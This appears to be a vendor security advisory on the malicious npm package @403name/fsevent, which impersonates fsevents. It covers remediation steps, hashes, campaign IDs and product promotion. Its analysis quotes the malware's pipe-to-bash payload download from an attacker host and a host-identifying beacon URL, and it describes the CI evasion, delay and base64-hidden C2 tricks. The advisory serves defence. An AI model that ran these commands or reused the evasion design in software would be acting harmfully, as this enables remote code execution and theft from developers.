Which versions of @403name/fsevent are malicious?

The following npm versions of @403name/fsevent are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate @403name/fsevent if I installed it?

@403name/fsevent is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @403name/fsevent — how do I know if it already compromised me?

If @403name/fsevent was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @403name/fsevent part of a known attack campaign?

Yes — @403name/fsevent is associated with the IN-MAL-2026-005448, IN-MAL-2026-005451 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @403name/fsevent across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/fsevent (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/fsevent across your stack and pipelines.

Malicious package

@403name/fseventnpm

Malicious code in @403name/fsevent (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5549

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @403name/fsevent

What this malware does

On require(), index.js runs an IIFE that gates to macOS, skips when CI or GITHUB_ACTIONS is set, waits 30-90 seconds, and writes a one-shot marker at ~/.cache/.nyx-npm/f. It then spawns /bin/sh to (1) GET https://k7xm9q.xyz/api/clickfix-callback with URL-encoded query parameters bid, user (process.env.USER), host (os.hostname()), and the literal tag npm_fsevent — a beacon identifying the infected machine — and (2) execute curl -sSfL https://k7xm9q.xyz/api/payload/ | /bin/bash & disown, fetching and shell-executing attacker-controlled code with the developer's privileges. The C2 host is hidden behind atob('aHR0cHM6Ly9rN3htOXEueHl6') to evade keyword scanning. The package name @403name/fsevent and its description ("Native filesystem event watcher for Node.js — lightweight FSEvents wrapper with fallback polling") impersonate the well-known fsevents package to lure developers into installing and importing it. The combination of obfuscated C2, CI evasion, randomized delay, one-shot persistence marker, host-identifier exfiltration, and pipe-to-bash remote execution is unambiguous malicious tradecraft.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

2f86ca4502cc824c3684e8f1e08b088b974b4339829461b50d45e3fbc6f808eb

a29e56279c83c00ea2d5d9347dc9741954a596deefd3319185d318593a5c7239

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/fsevent (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/fsevent across your stack and pipelines.
If you installed it — respond
@403name/fsevent is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @403name/fsevent was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @403name/fsevent before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @403name/fsevent on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005448IN-MAL-2026-005451

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @403name/fsevent-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring